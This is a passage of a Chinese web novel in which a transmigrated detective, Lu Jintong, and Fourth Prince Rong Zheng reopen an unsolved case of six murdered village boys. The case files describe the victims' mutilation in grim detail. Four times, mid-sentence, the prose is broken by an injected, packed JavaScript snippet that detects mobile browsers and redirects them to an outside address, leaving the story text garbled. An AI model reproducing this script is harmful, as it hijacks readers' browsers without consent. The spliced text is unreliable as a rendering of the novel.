“记得,”路锦瞳对这个案子记忆还是很清楚的,因为它至今还是悬案,她打算着之后考上大理寺专门去了解了解,万一能破了呢,“就是那个死了六个孩子的对吧?之后庞载发现抓错了人,却因为错过案件查办最佳时机找不到新的线索,凶手依然没有抓到。” 容筝颔首:“是。我想请你帮忙,调查这件案子。” 真是瞌睡了就有人来给送枕头,路锦瞳眼睛一亮:“当然可以了,殿下信任我是我的荣幸……只是,皇上不是说,我不是编制人员,不许我再碰案子么?殿下您叫我,我自然是责无旁贷,可皇上那边怎么办?” 她眼睛咕噜咕噜的转,狡黠明明白白的写在脸上,容筝还能不清楚她什么想法,不禁失笑道:“本宫已与父皇说过了,他叫我来问你的意思,说你答应才行,不可由我擅自做主。” 皇上还怪好嘞。路锦瞳这么想,她两眼放光:“当然同意了,怎么会不同意呢?能得殿下的赏识实在是三生有幸……” 她又开始激动的吹彩虹屁,容筝简直要无奈了,他慢悠悠又抛出一个好消息来:“你表现优秀,本宫会在你考试后替你向父皇美言几句,以此经历让你有破格进入大理寺的机会。” 要不是这个时代顾及着男女大防,路锦瞳能高兴的扑过去把他抱起来转几圈,容筝虽是个男人,但体格不壮,她又锻炼多日,手劲大得很,当然抱的起来,公主抱都没有问题。 可惜在这里她若是做出那样的举动,容筝能被吓得把她打飞,还是算了,别把孩子吓着。 路锦瞳前世与现世加起来的年纪恐怕比路钊和陆绾都大,她发现自己看人时目光总是带有慈祥,年龄小的都是她的小辈,这个毛病可得改改,倘若碰到研究人心理或行为举动的,那她准露馅。 容筝看她高兴,眉梢眼角便也带了丝笑意,他道:“那这样吧,你明日还是去大理寺,本宫会提前和那里的人说,你去了就找沈大人,让他带你去看卷宗,讲案件情况。本宫需要把宋云知案整理一下交给父皇,等之后再去找你。” “好。”路锦瞳知道他忙,否则也不会叫她明日再去了,这些日子相处下来,她发现容筝也是个“急急国王”,有什么事要做完做好了才肯放心,不然就一直都惦念着,他是不会拖延的,除非是真的有事走不开。 更何况,她也需要整理一下思绪,看看如何才能找到幕后凶手,如何才能抓住破绽的尾巴。 容筝有事先行离开,路锦瞳再坐一坐,以免叫人看见他们同进同出的不好,她坐着吃了会儿茶点,竹月匆匆奔回来:“小姐,已经让人去了。” “辛苦了,”路锦瞳对她展颜一笑,摸了个新杯子给她倒茶,“来喝口水。” 竹月受宠若惊,却也不敢违逆她,捧着杯子小口小口喝光了。 又待了一会儿,路锦瞳才拍拍手上的碎末起身,她将帷帽帘子放下来,慕柏跟在身后,缓缓下楼。 快要中午这会儿人有点多,慕柏皱着眉头自行站到前面为她挡人,以免被来来往往的男人撞到,却被路锦瞳拽住,他刚要开口,路锦瞳便先一步道:“慕姑娘,一起躲躲吧。” 慕柏怔住了,她道:“你……” 路锦瞳对她眨眨左眼:“我也是女人,怎么可能不懂?” 真惭愧,其实她真的不懂。 路锦瞳有时神经大条,有时则心细如发,但心细只存在于案件中,生活中一般大大咧咧,不想刻意察觉的东西根本想不到。她发现慕柏其实是女儿身还是在今早练功时,她没站稳,慕柏下意识过来扶她,她扶着的时候手不小心抓到了人家的胸口,预想中硬邦邦的手感并不存在,反而无比柔软,软的路锦瞳老脸一红。 她手放得快,慕柏居然没在意——也不知道她究竟有没有在意,反正她什么都没说,路锦瞳逃过一劫。 她还从来都没有做过登徒子,遇上这样的情况还真不知道该怎么解释和处理。 在发现慕柏其实是女儿身时,路锦瞳同时注意到了很多被她忽视了的东西,比如说容筝走路总与她拉开点距离,她有时没站稳,也会犹豫着要不要扶她,给她递东西或者接过来什么的时候,也不会与她的手指接触,反而隔得很远。同样的事情慕柏就不会,她对路锦瞳完全没有距离感,就连遇上外人靠近,她保护姿态也是先去扯她的手臂。 路锦瞳带着她们又避回了二楼,打算再回包厢等等,待人没那么多了再走,竹月为她打开门,路锦瞳刚半只脚迈进屋子,就有人在后头阴阳怪气:“呦,这不是路锦瞳么,这是来与谁幽会?” 这人讲话怎么这么难听。路锦瞳皱眉转身,见一粉衣姑娘立在对面包厢门口,扬着下巴瞧她,眉眼都是轻蔑:“名声都坏成那样,还好意思往出跑,你的脸跟树皮没差了。” 路锦瞳不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15089925|161350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知此人是何方神圣,还是竹月先行礼:“见过林小姐。” 林小姐?路锦瞳试图从记忆中把这人寻找出来,同样是贵女,还是与原身关系不太好的,莫非这是林清如? 林清如看她望过来的的眼神呆呆愣愣,不高兴道:“你看什么看?做什么装傻充愣呢?该不会是落水后湖里的污泥将你的脑子填满了吧?” 嘶,她这暴脾气,路锦瞳连番被她的言语轰炸,此刻也恼了。原身是脾气不好,见人就怼,但顶多是嘴欠了点,可没有害过这位林小姐,这姓林的拿她差点丢了命的事情来开玩笑,是不是有点太过了? 于是路锦瞳毫不客气的反唇相讥回去:“我脑子里有没有泥巴不清楚,但你的脑子一定要瘪的,刚刚出来的时候被门夹了吧?” 林清如气得眼睛瞪大:“你才被门夹了!” “原来不是啊,”路锦瞳佯装惊讶捂嘴,“那可能是你出生前你娘磕到了肚子,把你脑袋撞瘪了。” “你的头才是瘪的!”林清如要炸了。 路锦瞳没想到她战斗力也不怎么样,几句话就受不了,林清如说了她两句,她也回了两句,还很不幸的把她娘亲牵扯进来,但这不能怪她,原身落水是多么危险的一件事,她拿来说笑,那她说回去也没什么不对的。 更何况总不能真的她说林清如脑子瘪,就真的瘪了吧? 林清如遇上路锦瞳这种不要脸的总会忘记自己还是个大家闺秀,她怒道:“你以为我刚刚没瞧见有个男人从你的包间里出去了?你也太不自爱了,被关入大牢就罢了,还跟着那些男人们一起查案,你的名声不要了么?简直丢我们女人的脸!” “我怎么丢女人的脸了?”路锦瞳不乐意了,“我一没偷二没抢的,你凭什么这么断定?再说了,我和谁有什么你亲眼见过么?没见过就到处乱说,到底是谁过分?再说了,查案是我自己喜欢的事情,我做我喜欢的有什么问题?” 林清如道:“你不知道现在大家都怎么看你么?作为女人,就应该在家学女工,熟读《女戒》,多学些贤妻良母应该做的事情,好将来嫁个好人家,把家中操持的井井有条,在家从父,出嫁从夫,父死从子,你的书都读到狗肚子里去了?” 路锦瞳简直满脑子的的问号,她好半天才想起来这里的女人都叫封建礼教腌入味了,恐怕将这些都当作天条在遵守,说出这样的话也无可厚非。她略有些无语道:“那是你的观念,你自己遵守就是,何必同样强加到我身上?我不干涉你,你也别干涉我。” 林清如气急:“那你要点脸,不要在这么多人的地方和人偷/情啊,万一叫旁人看见了,你还要不要脸了?” 她还没完没了了?路锦瞳几次欲踏进房门的脚都收了回来,她干脆摆烂了:“刚刚过来的是四殿下,你要说偷/情,就大声点说,最好让所有人都听到。” 28. 第 28 章 听到容筝的名号,林清如瞠目结舌,路锦瞳才不管她心中有多么惊涛骇浪,抛下炸弹,根本不给她反应的机会,便干脆利落进屋,让慕柏和竹月都进来,“砰”地关上了门。 还是不要让慕柏在外面了,万一被逮着一直问问问怎么办?或者说她嘟囔什么,都让人听见了可不好。 壶中的茶水早就凉了,竹月把门打开一条缝,见林清如已经走了,便抱了壶要走,路锦瞳忙忙叫住她:“你去哪儿?” 竹月道:“奴婢去给小姐换一壶茶水。” “不用,你坐回来吧,”路锦瞳摆手,“都喝一上午了,实在喝不下了。咱们等会儿就走,我看看下面人还多不多了。” 这么说着,她推开窗子,把头从二楼伸出去弯腰看一楼,吓得竹月赶忙过来扶住她的腰,以防她翻下去。路锦瞳一手按着帷帽,另一只手扶着窗沿,她道:“咋还是这么多人,怎么大中午还这么多人来喝茶。” 她闷闷不乐的坐回去,见慕柏还是眼也不眨地盯着她瞧,路锦瞳茫然:“怎么了?” 不待慕柏回答,她就明白过来:“放心,我不问你,等你什么时候想说了再说也不迟,你是姑娘的事只有我和竹月知道,我们都不会说的,更不会告诉我爹娘,你还是能继续保护我。对吧,竹月?” 竹月忙不迭的点头:“是,奴婢不会乱说的。” 路锦瞳冲她挑挑眉,意思是你看我说吧,随后就又去窗户那边趴着看人流去了。 慕柏一个姑娘家,武功那么高,在之前肯定是个门派的弟子,但她为什么会离开门派出来谋生?还要扮作男子?这其中肯定有什么事。世道不许女子抛头露面,如果什么都没发生,她的师父也不会允许她下山吧? “多谢。”慕柏低声道。她凑近窗边站稳,随着路锦瞳一起往窗外看,提防着有人会对她不利。 过了差不多半个小时的时间,下面人总算没那么多,路锦瞳赶紧下楼。车夫还等在门口,路家马车华贵,茶馆不敢随随便便撵人,只好让他们在这里停着,总有人在这里经过的时候瞥见马车,看清府牌后议论纷纷。 路锦瞳上车时听了一耳朵,那些人是在议论她,说她这个时候居然还在外面到处乱跑,也不知道又是与谁会面。现在的贵女都不怎么愿意搭理她了,她还能与谁见面呢?等等等等,诸如此类。 林清如说的一点错没有,还真有人怀疑她是来和谁私会,传得有鼻子有眼的。说什么她被关入大理寺时有位衙役很照顾她,路锦瞳便芳心暗许,之后要跟着一起查案也是为了能时常看见那衙役,可后来容筝来了,她又被四皇子殿下迷倒,果断抛弃了可怜的衙役,不顾辛苦跟着容筝跑前跑后。 案件结束了,她就不能再见到容筝了,于是万般焦虑,这回来茶馆,一定是听说容筝常来这里,专门过来蹲人的,就是为了能与容筝再说几句话。 路锦瞳:“……” 对此她没什么想说的,如果非要让她评价的话,她只能说,这些人是闲得无聊,完全胡编乱造,有病! 但不得不说编的还挺好,如果她不是当事人知道真相,说不定还就信了呢。 竹月小心翼翼的看了她一眼,自行往车厢角落缩一缩,降低存在感,希望路锦瞳不要把火气撒在她的身上,谢谢。 一听说路锦瞳回府,陆绾便快步出来,她拉了路锦瞳,低声道:“方才四皇子那边来人了,要明月跟着他的人去寻朱允时,发生了什么?难道她们有危险?那个纸条该不会就是她传的讯息吧?” 路锦瞳一惊,没想到陆绾居然这么敏锐,光瞧他们的动作就猜得八九不离十。她安抚道:“娘猜得不错,但您放心吧,不会有事的,殿下的人都追上去了。” 陆绾还想问问纸条上究竟写了什么,路锦瞳就又道:“娘,有些事我不能和您讲,这毕竟是案子,还与丞相家有关,大理寺严格要求保密,我虽不是他们的人,但有些事少知道更好,您就别问了,放心,我没事,我们家也不会有事。” 陆绾看着女儿镇定的眼神,突觉她一瞬间长大了不少,自从落水之后整个人都变了,变得好像不是她的女儿了。她垂下眼:“娘听你的,不问了,但是你要记得,无论发生什么,爹和娘都是你的后盾,遇上什么难事都要记得与我们说,我们一家人一起想办法。” 路锦瞳心里热乎乎的,她握握陆绾的手:“好。” 原身真的很幸福,有这么尊重她、爱护她的父母,这可比旁的贵女们好多了。路锦瞳不禁又想到朱允时,她才不过十四岁的年纪,就要为母亲还有哥哥打算,已经在大宅子内混得如鱼得水,更要努力保住自己的命,实在是不容易。 想想她十四岁的时候在干什么呢?那个时候她也挺自理的,爸爸不常在家,她只要学会给自己做饭,偶尔搞搞卫生就好,衣服有洗衣机,有时回家她还能收到爸爸给她带的好吃的。 那个时候她根本不会想到有一天会失去爸爸,只顾着天天高兴玩乐,再就是学习。 路锦瞳突然想叹气,她好像好久都没有回忆过以前的自己了,过去好像早已遥不可及。也是,她都工作多少年了,年纪也差不多奔三,十多年前的事,可不得遥远么? *** 第二日,路锦瞳如约前往大理寺。 陆绾听说她又要去查案子,心头七上八下,却也高兴,她亲自给路锦瞳挽发:“真是长大了,变得比爹娘都要聪明。” “爹娘更厉害,”路锦瞳说,“你们生意做的多好啊,让我来的话肯定做不成。” 这是真的,她数学可差了,更不愿意了解现下形势,脑子里也想不出什么新颖的玩意儿,如果让她做生意,那肯定很快就塌。除了案子,她对什么都没耐心。 陆绾受了她的彩虹屁,拍拍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15098311|161350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的头:“好了,快去吧,注意安全,不要太累,该吃饭还是要吃饭的,人是铁饭是钢。” 这个倒不用她教,路锦瞳一般饿了都会去找吃的,不一般的时候就是完全沉迷案子之后,那会儿她根本没空想别的,如果想个中午吃什么,铁定续不上思维,前面的就都功亏一篑了。 她不知道那些流言陆绾是否有听到过,一直斜了眼瞅她,也不知道是该瞒着还是该说出来。原身原先名声不太好,陆绾好像不怎么在意的样子,可是这回的流言不太一样,不知道陆绾会不会介意,不许她再跟下去了。 她这么一直瞅,陆绾便道:“又干什么坏事了?” 好敏锐。路锦瞳尴尬笑笑:“娘,您这话说的,我能干什么坏事啊?您看我天天跑来跑去的,根本没空嘛。” “那你看什么?”陆绾问,“你以为我不知道,每次你干了坏事怕被说,都用这种眼神小心翼翼的的看我。” 好嘛,原来原身还是惯犯。路锦瞳不好意思的挠挠脸:“是这样的,娘,如果您在外头听到了什么传闻,那绝对不是真的,千万不要相信,您回来问我,女儿一定不会欺瞒您,什么都告诉您。” 谁知陆绾神色一震,她道:“你都听到了?” 看着路锦瞳有些茫然,她续道:“你听到他们传你和四殿下了?” 原来陆绾已经知道了,路锦瞳点头,头慢慢低了下去,虽然这事她没有错,可总归是让路家丢了面子,路钊他们出门做生意时遇到生意伙伴,也会被人指点的吧? 陆绾捧着她的双颊让她抬起头来:“干什么要低头?这事又不是你的错,娘相信你什么都没做,不必因为他们乱传而心情低落。放心,爹娘永远相信你支持你,谣言止于智者,那些传闲话的都是傻子!” 路锦瞳笑出来:“谢谢娘。” 一般情况下,女孩子被造谣,家里人都会逼问,陆绾不同,她担忧路锦瞳会因此抬不起头,于是给她大力的支持,甚至听到谣言后不生气,反而瞒起来,也不许府中下人议论,防止她不舒服。 说真的,如果不是在外面听见,路锦瞳在府中一句只言片语都没听到。 她抱了抱陆绾,随后蹦蹦跳跳的出了门,惊讶的看到余景居然又在门口等她,她忍不住高兴起来,像是见了什么老朋友:“余小哥,我在这儿。” 余景脸上带了笑,连忙迎上来:“路姑娘,殿下叫属下送您去大理寺。” “辛苦了,”路锦瞳爬上马车,“殿下昨天没说要你过来送啊,怎么过来了?” 余景熟练的赶起马车来:“殿下说属下送您还能保护一下,慕公子一个人恐怕分身乏术,丞相千金的案子将将结束,还是得注意您的安全。” 多个保护的人路锦瞳也放心,她还有很多事没做,可不能不明不白的被人杀了,就别说那个隐匿在背后的人,她还要亲自抓出来。 29. 第 29 章 余景好像还有旁的事要忙,把她放门口就准备要走了,路锦瞳想问没好意思问,人家王府的公务,她问啥啊? 余景瞥见她欲言又止的模样,赶忙道:“殿下说他一会儿就来。” 不是,为什么他们会觉得她是想问容筝啥会儿来呢?她分明根本就不关心……好吧其实还是很想知道的,在大理寺她的熟人并不多,沈知安虽然待她不错,但见面次数也没有很多,算熟也不算,彼此之间还是有那么一点点代沟的。 来了这么久,路锦瞳发现她最能聊得来的居然是容筝,或许是同龄人的缘故吧。 路锦瞳尴尬笑笑:“好的,我知道了。” 她可不好意思再问余景准备去哪儿了,搞得像个占有欲强的变/态似的,主子什么时候过来要搞清楚,手下的人去哪里也要知道,不知道的还以为她是容筝老婆呢,管天管地管人要往哪里去。 余景却道:“殿下吩咐属下去追查朱允时的去向,目前还没消息,查出来后殿下会与您说的。” 他丢下这话匆匆行礼离开,路锦瞳提着裙子进去,来来往往的衙役瞧见她纷纷打招呼,路锦瞳笑着回礼。 “还以为之后您就不过来了呢。”有人这么和她说。 “怎么会,认识大家很高兴,有机会还是会来看看你们的。”路锦瞳向他们挥手致意,错觉着自己好像回到了以前那会儿,每次上班大家都会来和她聊天打闹,有的时候还会互相带吃的,大家其乐融融,好不热闹。 想到以前,路锦瞳有点怀念,现在虽然也很好,但还是太孤单了。 沈知安果然在大堂等她,见她进来连忙道:“来了。” “沈大人。”路锦瞳向他行礼。 沈知安起身,将一沓卷宗递过来:“这是殿下让我给你找的,你们是要重启这件案子么?” “是。”路锦瞳道,“殿下昨日与我说的,之前查宋云知案时也有牵涉,柳絮父母也是因此被处决的。” 沈知安颔首:“这件案子一直都是殿下的心病,他几乎每年都会翻出来看一遍,然后不厌其烦的去问当年那些目击者,并拜访死者家属。我之前也帮忙一起查过,但因为时间过去太久了,好多证据石沉大海,即便是我,也没有查出什么来,再加上平日里案子很多,没有太多的精力投在上面。” 路锦瞳诧异:“殿下的心病?难道这其中的受害者有他的熟人?” 沈知安一怔,他笑道:“你果然是做这个的料。不错,案件的第三位受害人,曾是殿下的旧友。” “不是说,六位受害人全都是民间少年么?殿下难道也认识平民?”路锦瞳问。按理说他们这种皇亲贵胄连离开皇宫的机会都很少,见的大多数贵族子弟,怎么会遇见民间少年? 沈知安摇摇头:“这同样是五年前的事了,既然殿下没有告诉你,我也不好和你说,你先看卷宗吧,等他来了让他亲自告诉你。毕竟,这也是他自己的事情。” 既然如此,路锦瞳也不好非追着人家说,如果这件事与案件有关,那容筝肯定会告诉她,如果与案件无关,那就不是她该知道的了,她只负责案子,可没有那么强的好奇心,每个人心中都有秘密,她不能强逼着人把秘密讲给她听吧,那还是人么? 路锦瞳寻了处桌子,将卷宗打开,取出其中的记录来一页一页的翻看。 第一位受害者是八岁男孩,于山洞中发现尸体。发现的是一位牧民,因为连着下雨,牧民好几日都没有出去放羊,好不容易雨过天晴,他就赶紧带着羊群出去遛遛。 谁知走到一半又下了雨,加上山路滑,牧民赶着羊进了山洞,打算避避,等雨小些再走。进去之后牧民发现他的羊都爱往角落那边钻,还不止一只,他叫也叫不回来,只好自己上前去赶。却不想把羊群赶开后他在石头后看到了一具尸体,那已经不能用“人”来形容了,浑身上下血肉模糊,没有一处好的地方,因为雨天潮湿,尸体已经高度腐烂,并散发着恶臭。 牧民吓得撒腿就跑,连羊都顾不得了,他在雨中接连滑倒又爬起,总算是赶到了山下,跑去镇上报了官。 第二位受害者十岁,也是男孩,在草丛中被发现。那条路荒无人烟,经过的人很少,但偶尔会有孩子结伴去玩,他们不敢告诉家里,一般都是偷偷的。不想在接近高及腰部的杂草中时,有一个孩子瞧见了地上有一摊发黑的痕迹,他们不知道这是什么,以前也从未见过,还以为是什么有意思的东西,纷纷聚集过来。 在这同时他们也嗅到了一阵怪味,比自家的泔水桶还要臭,便循着味道找过去,就瞧见了一摊血红,苍蝇在其上嗡嗡,为首的孩子险些吓晕过去。他们神情恍惚的搭伴跑回去,告诉家中大人,大人们结伴去查探,才报给官府。 连续两件命案,死者被害手法相同,其中间隔时间不过一个月,府衙不禁也重视起来,开始仔细调查,并叫镇上的孩子们少出门,大人把孩子看好,以免被害,但在这样的情况下,第三位受害者依然出现了。 第三位受害者是在棺材中被发现的,一位陈姓村民照例去祭拜自己的父亲,却无意中发现坟堆上的土似乎有松动的痕迹,其上并非陈土,更像是新土。他起了疑心,担忧会不会有人在坟墓这边做了什么,便仔细查看,不看还好,一看就发现土下竟有点点血迹,他顺着痕迹用树枝扒拉开,一路寻到了坟土上。 陈忠担忧自己父亲的坟被外人亵渎,再三犹豫后还是决心开馆,他叫来亲戚一起帮忙,最终在棺材中发现了第三位受害者的尸体,就搁在他父亲的白骨之上,与前两位受害者是同样的死法。陈忠险些被气晕过去,连忙去镇上报案。 第四位受害者的尸体到现在都没有找到,只是根据他的年龄判定,再加上那段时间各自父母都监管很严,那个孩子在父母看得那么紧的情况下依然失踪,至今都未找回,官府便将他当成了第四位受害者。 前四位受害者的共同点是都是男孩,年龄在八到十二岁之间,皆是城外沼水村的村民,死因都是被取走了内脏。 在官府对沼水村加紧严控追查凶手的同时,第五位受害者又出现了。 第五位受害者依旧是男孩,十一岁,被柳絮父母发现于红梅客舍。彼时柳絮父母在红梅客舍做工,柳絮的母亲郑氏主要负责客房卫生,在客人退房后她会去打扫干净,以便下一位客人的入住。 却不承想她还未推门,便有浓稠的鲜血从门缝涌出,她颤着手推开门,见床上躺着一个孩子,肚腹被剖开,其中空空,她尖叫一声,看过来的人连忙去找掌柜,并前去府衙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15109741|161350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 报案。 庞载当时在任,他排查了在场的人,发现柳絮父母曾经在沼水村住过一段时间,便把嫌疑放在了他们的身上,怀疑他们很有可能是连环杀人案的凶手,但由于没有证据,最终还是不了了之。 就在人人恐慌的时候,第六位受害者来了。 有一个人上工前去包子铺买了早饭,他吃的时候发现其中有一块地方怎么也咬不动,便吐出来看,不看还好,一看险些把他吓死。他竟是吐出了一小截手指头。 待仵作前来查证后,最终得到结论,这截手指属于九岁大的小孩,指骨还未完全发育,很好辨认。之后衙役们围住了包子铺,检查每个包子中的馅料,以及剩下的储备肉,分别在里面发现了剩下的尸块,以及手指和脚趾,如预料的那样,他们并未在其中找到内脏。 而倒霉的是,开包子铺的正是柳絮父母。 郑氏大呼冤枉,不承认这孩子是被她所害。生意难做,她又不想给柳絮添麻烦,所以只能硬抗,眼见着银子快要用光,而他们的保护费还没交,如果不交,恶霸过来砸了摊子,又是一大笔钱。在她发愁的时候,店门口突然出线了一大袋子肉,她以为是有人体恤帮忙,也有可能是柳絮托人送来的,便收下了。 那时已经是早上了,马上就要陆续有客人过来,郑氏不敢拖拉,随意剁了剁,就将肉包进了包子,在蒸好之后卖给了客人。 她说的有理有据,庞载却不再信任了,这件案子拖了很久,百姓怨声载道,生怕下一个被厄运缠上的是自家孩子,给了府衙不少压力。庞载晋升在即,绝不可能容许这种紧要关头叫这件事被皇上知道,急于结案,便将柳絮父母打入大牢,屈打成招。 之后庞载又在柳絮父母的卧房中找到了一块腐烂掉的肝,更加实锤了他们的罪名。柳絮父母不怨给女儿拖累,无奈之下认罪,被判斩首,而柳絮在行刑前一日才得知这事,去求情已然来不及,宋云知不愿掺进这种事情中,拒绝了柳絮向她寻求帮助,这才使得柳絮怀恨在心,决意杀她。 与柳絮父母相熟的邻舍也没有人为他们求情。刚开始因为红梅客舍的事情,他们只当是柳絮父母被庞载冤枉,毕竟庞载为官多年,他的人品大家都看在眼里,都知道他是想要早些结案才想往人家头上扣锅。可第六个孩子遇害后依然与他们有关,甚至还在他们家中发现了未处理完的东西,谁还会为他们申辩?大家都后悔之前照顾他们夫妇的生意,没想到可怜了那么久的人居然是个杀人恶魔。 此后过去了几个月,同样的案件都未再发生过,这更使人们认为柳絮父母就是真凶了。正在这时,柳絮找上官府,否认包裹腐烂肝脏的布帛属于她父母。要知道柳絮父母一向节俭,那块布帛却料子极好,第一,他们不会舍得花钱买这样的料子,第二,就算真的做了,他们也不会用这样好的料子来包裹那些东西。 由于柳絮的证言没有实际效力,庞载并不搭理她,谁知她后来居然又找到了一个证据。府衙中的一个衙役与她是同乡,实在是可怜她为父母的事情操碎了心,便偷偷放她进当初柳絮父母所住的屋子,柳絮在里面发现了半枚带血的脚印。 她找懂行的人来验看了那枚脚印,最终发现脚印与她的父母并不匹配,当初一定是有外人进了她父母的屋子。 30. 第 30 章 柳絮父母死后,他们所住的那间屋子一直都没有人愿意踏足,嫌晦气,房东不止骂了一遍,渐渐的就败落了。 此番柳絮进去,一个角落都没有放过的搜索了一番,她始终坚信自己的父母是无辜的,即便是过去了好几个月也并未放弃为他们洗清冤屈。好在功夫不负有心人,她终于在床底一处隐蔽地方查找到了小半枚沾血的脚印,也许是因为太过于偏,导致凶手自己都没有发现留下了这一痕迹。 柳絮找人根据那一块脚印延展出了大概,确定了脚印不属于她的父母。她拿着证据找去府衙,却被庞载以胡说八道没有依据为由赶了出来,柳絮无奈,无意之中听说四皇子容筝对这一案子很关注,便孤身前往容筝的必经之路拦他,好在容筝足够明事理,他也请了专业人士过来查看,果然真如柳絮所说。 既然案件依然存疑,那容筝就不可能就此放过,更何况还有人因此无辜背锅,直到死后都要被人戳脊梁骨。他拿着证据前去找庞载,才将已经了结的案子恢复成未破的悬案,得以继续追查真凶,也算是还了柳絮父母的清白。 只是洗清了他们的罪名,二人的性命也回不来了。 “当时我不在,去查肇州的另一件案子,那也是个杀人狂魔,短短一个月犯下十几条人命,在这个案子发生前我就去那边了,一直都没有时间回来,自然也错过了。”沈知安叹气,“等我回来已经晚了,柳絮父母被处斩,案子了结,之后殿下请求再次重启,我也跟着一起查,希望能出一点力,只是……” 每每发生案件时,前一周差不多就是黄金期,时间绝对不能拖得太久,如果久了会有很多证据消失,嫌疑人也会远远逃开,这对破案是很致命的。庞载查案不够尽心,尽心的人又不在,自然错过了许多东西,现在翻案重查,难度可不是一点点。 路锦瞳点点头:“那肇州的案子结了么?” “结了,”沈知安道,“只是那个犯人太狡猾,花了好多的时间去抓,连带着耽误了许多事。” 不过大理寺不是一般管京城的案子更多么?沈知安怎么会被派到那么远的地方去?并且皇上也同意?路锦瞳这么想,也就问出来了。 沈知安道:“是陛下派我去的,第一个出事的人是江夏王家的侄子,江夏王亲自找了陛下,便派我去了。” 难怪了,原来是权贵,怪不得能让沈知安跑这么远去查案,从而忽略了京城所发生的事情。路锦瞳还记得容筝和她说的,当初这件事皇上甚至都不知道,分明这件案子无比残忍,却被庞载压着不肯上报。 路锦瞳不理解,但也没有办法,从古至今都是这样,有权力的人优先享受待遇,无权无势的只能在苦海中浮沉,直到被浪花卷走,想要将什么事上达天听,那是比死了都要难。 路锦瞳不想发表意见了,她道:“柳絮还原出的那个完整鞋印呢?还在吧?” “在,”沈知安道,“就在下面,你翻完卷宗就能看到。” “好,多谢大人。”路锦瞳又埋回那沓纸里。 现场遗留鞋印是用红色笔画的,至于其他补充部分则是黑色,路锦瞳看了看,不愧是专家,恢复的没有问题,鞋印花样也是大家都会穿的,她曾在大理寺,以及之前的锦绣布纺小厮的脚上都看到过,说明凶手不是农民,也并非权贵,可能就是在这附近做工。因为农民一般都穿草鞋,而权贵的鞋料子要更好一点,鞋底花纹设计者为了更讨他们的喜欢,一般会更用心设计一些花样,有些则是独一无二的。 “看出什么了么?” 路锦瞳正钻研着,就听旁边有人这么说。 她猛地抬头,发现是容筝,他微弯了腰站在路锦瞳身后。也不知他是什么时候过来的,她想入迷了,都没有发现。 路锦瞳道:“殿下,这片鞋印是完全根据现场的痕迹遗留下来的么?” “当然。”容筝道。 “包括深浅?” 容筝一怔:“不错。” 路锦瞳看鞋印边缘明显要粗一圈的线条:“柳絮父母所住的那间屋子地面是什么样子的?是土地?还是砖地,亦或是旁的?” 容筝搬了个凳子过来:“你是想说,凶手或许是个跛脚吧?” 路锦瞳点头:“他右脚掌右上半侧明显使力更重,说明他的右脚可能受过伤,但并不重,所以不妨碍行走,或许平常走路也瞧不出来,只有鞋印才能暴露。” 容筝道:“这个之前本宫也想到过,只是拿到鞋印意识过来后,已经过去很久了。当时也在附近排查过,甚至挨个儿将所有人的鞋印都比对了一番,也不怕你笑话,之前本宫查到入魔,有一段时间一直盯着旁人的脚底看,不少人以为本宫疯了。” 虽是玩笑话,其中辛酸只有当事人才能得知。路锦瞳苦涩笑笑:“殿下辛苦了。” 容筝却无奈摇头,什么都没说。 沈知安一直等他们说完了才站起身:“既然殿下来了,那下官就先走了,下官已经和周主簿说清楚了,如果你们还有什么要查的东西需要资料,都可以随意进去。” 路锦瞳连忙和容筝一起道谢:“多谢大人。” 沈知安又嘱咐几句,这才离开。 等他走了,路锦瞳清清嗓子,这才道:“殿下……刚刚沈大人与我说……你和第三位受害者很熟么?” 容筝翻页的手指一顿,他将纸张放在桌上,道:“不错,本来也是要和你说的。” 他严肃道:“首先声明,本宫并没有扮可怜逼你查案的意思,只是这些事在我心头埋了很久,也想找个人说说,更希望你能从中获取一些什么线索,倘若其中有什么枝微末节是被忽略的呢?先前查宋云知一案,本宫在旁看到你查案的手法许多未曾见过,和你一起分析也时常醍醐灌顶,便想着你能帮帮忙,倘若真的查出什么线索来,也算能让我稍抵罪过。” 稍抵罪过?路锦瞳微微睁大眼,却没问得出口。 容筝轻声道:“在九岁那年,我曾遇过一次刺杀。” “那时我不懂事,听闻沼水村有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 